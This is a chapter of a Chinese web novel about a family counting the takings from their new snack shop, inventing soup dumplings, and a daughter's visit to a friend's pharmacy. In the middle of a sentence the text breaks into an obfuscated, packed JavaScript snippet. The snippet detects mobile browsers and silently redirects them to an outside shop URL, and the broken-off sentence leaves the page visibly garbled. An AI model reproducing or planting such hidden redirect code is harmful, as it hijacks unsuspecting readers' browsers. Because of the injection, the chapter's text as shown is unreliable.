杜氏做饭快,不多时便端了两道菜上桌。
一道豆芽炒蛋,多放了些酱油,简简单单却最是下饭。一道汤,肉片炖得软烂,撒了一层葱花。
院里支了张小桌,就着这两道菜,一家人匆匆吃过晌午饭,几乎没怎么说话。
万小兰第一个撂下碗,眼巴巴地往铺子里瞅。
万秋灵看在眼里,等所有人都放下碗筷,才招呼道:“吃完了,盘账吧。”
万小兰蹭地站起来,一溜烟跑进了前头。
不一会儿,她抱着一个沉甸甸的钱罐子回来了。罐子是陶的,不算大,罐口收得小,是杜氏专门腾出来放钱的。
万小兰把它往桌上一放,罐子口朝下,轻轻一倒。
铜板倾泻而出,在桌面上码成了一小堆,分成了几个小的部分,杜氏便开始数。
“一十、二十、三十……”
杜氏数得仔细,数完一堆,报了数让万秋灵记着,又去数下一堆。
到最后,杜氏把几堆拢到一起,又总的数了一遍。
“五百八十一文。”她抬起头,脸上带着点不敢相信的神色,“今儿还不到一整天,收了半贯钱。”
万小兰整个人差点蹦起来,一枚枚收的时候还不觉得,合起来竟是这么多钱!
“五百八十一文,快六百文了!”
家里以前开的小馆子,生意好的时候一天能收一贯多。可那不是常态,近一半客人点的是素面、清汤,价格便宜。
而他们新开的小食,第一天开张就能收到接近六百文!
杜氏还算冷静,提醒道:“也不是纯入账,还有食材那些花销呢,今儿光是送出去的饼子,就有二十来个。”
她虽是一心忙着油炸,也关心着抽签的情况。
万秋灵点点头,心里飞快地算了一笔,刨去各项成本,大致估算下来也有个三百文左右。
“不错了。”她开口,“第一天,备货并不多,能有这个数,算是很成功了。”
万小兰已经膨胀得不行,搓着手问:“阿姐,明天要多准备些货吧?咱们现在就开始?”
除了春卷是早上现烙现包,其他都能提前筹办。
万秋灵摇摇头,冷静道:“一口吃不成大胖子。新货照着今日的量多三成,其他的看看之后的售卖状况再说,稳当些。”
万小兰似懂非懂地点点头。
正事定好,却没急着开工。
万秋灵想起昨晚做的皮冻,走到灶屋角落,掀开盖着的纱布。
一碗晶亮亮的东西露出来,皮冻已经凝固好了,端起来还颤颤巍巍的。
万小兰凑过来看了一眼,猪皮已经捞出,只剩下一碗浑浊的汤,跟大鼻涕似的。她满脸狐疑:“阿姐,这真的能吃吗?”
万秋灵没回答,而是转身去找杜氏。
“娘,这个皮冻切碎了混进肉馅里,我们来做包子。”
杜氏惊讶道:“包子?那得赶紧发面,不然赶不上晚饭了。”
“不用发。”万秋灵摆摆手,“面粉加点盐,一半开水一半冷水和面,揉成团就行。包的时候擀成饺子皮那么薄,再包。”
杜氏虽然将信将疑,但还是洗了手开始和面。
刚吃过午饭没多久,灶屋里又开始忙晚饭。
按照万秋灵教的方法,三人合作,包子很快包好,整整齐齐码进蒸屉里。
蒸屉是前几天新买的,够大,一次能蒸二十多个。杜氏把蒸屉架到锅上,盖上盖子,灶膛里添了把火。
一刻钟后,蒸汽从锅盖缝隙里冒出来,杜氏掀开锅盖。
热气腾地散开,露出蒸屉里白生生的包子。
皮薄得几乎透明,能隐约看见里面酱色的肉馅。包子是扁扁的,可拎起来时,能感觉到沉甸甸的往下坠。
万小兰伸手就要抓来吃。
“不行。”万秋灵一把拦住她,“不能这么吃。”
万小兰委屈地缩回手:“为什么呀?”
“里面是有汤的,刚出锅直接吃,舌头都能烫出泡来。”
她让杜氏拿了碗,把包子分到碗里,端上桌。
万小兰盯着碗里的包子,眼睛都快贴到上面了。
“阿姐,”她忍不住问,“包子怎么会有汤呢?又不是煮出来的饺子!”
万秋灵笑了:“因为我趁你不注意,往里面灌了汤,所以它的名字叫灌汤包。”
“不可能,我全程都看着呢,阿姐哪有功夫灌汤?”万小兰满脸不相信。
她等不及了,用筷子夹起一个包子,对着吹了又吹,等觉得凉了些,才小心翼翼咬了一口。
一股热乎乎的汤汁顿时涌了出来。
“哎哎哎!”万小兰赶紧低头去嘬,可还是有好几滴顺着下巴往下淌。
眼看就要滴到桌子上,还是万秋灵眼疾手快,替她把碗挪到正下方,接住了。
万小兰下巴上挂着汤汁,眼睛却亮得惊人。
“真的有汤,好多的汤呀!”她顾不上擦,赶紧又嘬了一口,“很好喝!是肉汤的味道。”
杜氏无奈地看了小女儿一眼,拿起帕子给她擦了擦。
万小兰又夹起一个,这回小心多了。汤汁和肉馅混在一起,皮薄得几乎没有存在感,满嘴都是鲜香。
她美滋滋吃完,忽然眼睛一亮:“阿姐,这灌汤包太厉害了!能不能卖啊?”
这孩子如今也养成了生意头脑,吃到好吃的,第一反应不是还要继续吃,而是能不能售卖,不再需要饴糖作为诱惑,而是主动想法子赚钱。
“那我每次还要一个个往里面灌汤,”万秋灵故意逗她,“得多累啊。”
“那你教给我吧,我来灌!”万小兰拍着胸脯,一脸认真。
连万老爹都忍不住笑了,骂了一句:“真是个傻丫头,你姐逗你呢!”
万小兰眨眨眼,看看爹和娘,又看看姐姐,这才反应过来。
“阿姐!”她噘起嘴,“你怎么骗我!”
万秋灵笑得前仰后合。
万小兰对灌汤包的热情十分高涨,万秋灵被她念叨得头疼,最后只道:“行行行,你一会去肉摊要些猪皮回来,先多做点皮冻再说。”
杜氏收拾好碗筷,其他人开始为明天做准备。调面糊、发面、剁馅……大家各司其职,忙得团团转。
万秋灵忽然想起一件事:“娘,明天墩子该送东西来了吧?”
杜氏正切着豆腐,算了算日子:“还真是,明儿个是第三天了。”
自从搬到镇上,墩子就隔三差五地来一趟,可每次来都不空手。不仅送竹签子,还有万家和自家菜地里种的葱头菜蔬,山上采的瓜果,河里摸的鱼虾,大包小包地往这儿拎。
除了签子钱,别的他死活不收,说都是山间地里白长的东西,最后只能多塞几个饼子让他带走。
万秋灵想了想,搬走的时候,墩子大嫂的肚子已经很大了,估摸着再过不了多久就要生孩子。
她把手里的活放下:“娘,我去趟长春堂,给王家大嫂抓副养气补血的药。”
杜氏笑道:“是这个理,他们家和咱家现在走得近,是该表示心意。”
万老爹正在角落里捶里脊肉,听见“药”字,手里的动作慢了些,耳朵悄悄竖起,幸好女儿没说什么再捎一副。
万秋灵先进了屋换衣服。在裁缝铺定的衣服前两天就送
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17451963|197954||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了过来,杜氏全部洗过一遍,带着皂角香。
她翻出一件新的裙子,抖开看了看。颜色淡淡的,浅紫中透出一点粉色,面料是细棉布,摸上去柔软亲肤,很舒服。
领口和袖子绣了一圈细边,腰部略微收起,裙摆宽宽地垂下来,行走时随风摆动,飘逸但不张扬。
万秋灵换上衣裳,对着屋里那面小小的铜镜照了照。
镜子里的人和平时不太一样。她做生意穿的都是旧衣裳,灰扑扑的,这会儿换了新衣,更显出少女姣好的模样来。眉目清灵,肤色白皙,藕荷色衣裙衬得人十分温柔。
她拢了拢头发,拎着食盒出了门。
看着大女儿的背影,杜氏笑道:“灵儿出落得愈发伶俐了。”
万老爹轻轻哼了声:“那是自然。”
……
长春堂的伙计们都眼熟万秋灵,笑着招呼她:“万姑娘来了!”
孙掌柜从柜台后探出头:“秋灵,快进来坐!小兰没一块来?”
万秋灵走过去,说明来意,孙掌柜点点头:“快要临盆的孕妇?行,我让伙计去配药,你先去后院坐坐吧。”
大丫也跑了出来,笑嘻嘻地领着万秋灵走。
孙小冬正在廊下拨弄草药,听见脚步声抬起头,看见万秋灵,眼睛顿时亮了。
“秋灵!”
她站起身迎接,围着万秋灵转了一圈,由衷夸赞:“这衣裳真衬你!平时看你总穿暗沉的衣裳,看习惯了,没想到稍微打扮下就这么惹眼!”
万秋灵被她夸得有些不好意思:“是新做的衣服,干活穿这个容易脏,闲时才穿。”
孙小冬拉着她坐下,又问:“今儿不是才开张,怎么有空来?铺子里不忙?”
万秋灵把食盒放到小几上,打开盖子。
“忙完了,给你捎了点吃的。”
孙小冬一瞧,食盒里整整齐齐码着四个扁扁的包子,皮薄得透亮。
“这是什么?”她好奇地问,“没见大丫买回来呀。”
大丫在旁赶紧道:“小姐,奴婢可是按您的吩咐,每样小吃都点了的。”
“还没开始卖呢。”万秋灵笑着把食盒往她那边推了推,“方才头一回做,想着先带给你尝尝。还没吃晚饭吧?”
孙小冬听了很是高兴:“还没呢,大丫,去拿碗筷。”
大丫很快端了碗筷过来,还贴心地配了碟醋。孙小冬夹起一个灌汤包,先蘸了些醋,轻轻咬了口,冒出来的汤汁却比醋还多,吓得大丫赶紧拿手绢替她擦了嘴。
万秋灵提醒道:“慢点,可能还有些烫。”
孙小冬哪里慢得下来,三两口就把包子解决了,一连吃了两个,才舍得放下筷子。
“这包子要是拿出来卖,我每天都让大丫去排队!”她一脸认真地说。
万秋灵正要接话,孙小冬突然往她旁边凑了凑,压低声音道:“对了秋灵,码头的那个钱管事,我最近倒听到些他的消息。”
万秋灵心里一动,面上却不动声色,只是做出洗耳恭听的样子。
“这几天镇上好多客商和商户去寻他,都是为了在码头丢的东西。听说有些货根本不是路上丢的,是他手下人监守自盗!”
“钱管事这些天忙得焦头烂额,一会儿要应付那些商户,一会儿要跟他上面的头儿解释,听说被骂得不轻。”
孙小冬说完,又认真道:“你上次打听他,想必是遇到的事和他有关吧?现在他可没工夫为难你了。”
“果然瞒不过你……”万秋灵笑了笑,才接着道,“嗯,他确实找不了我的麻烦了。”
她在心里默默补充:是我给他找了麻烦,够他喝一壶的。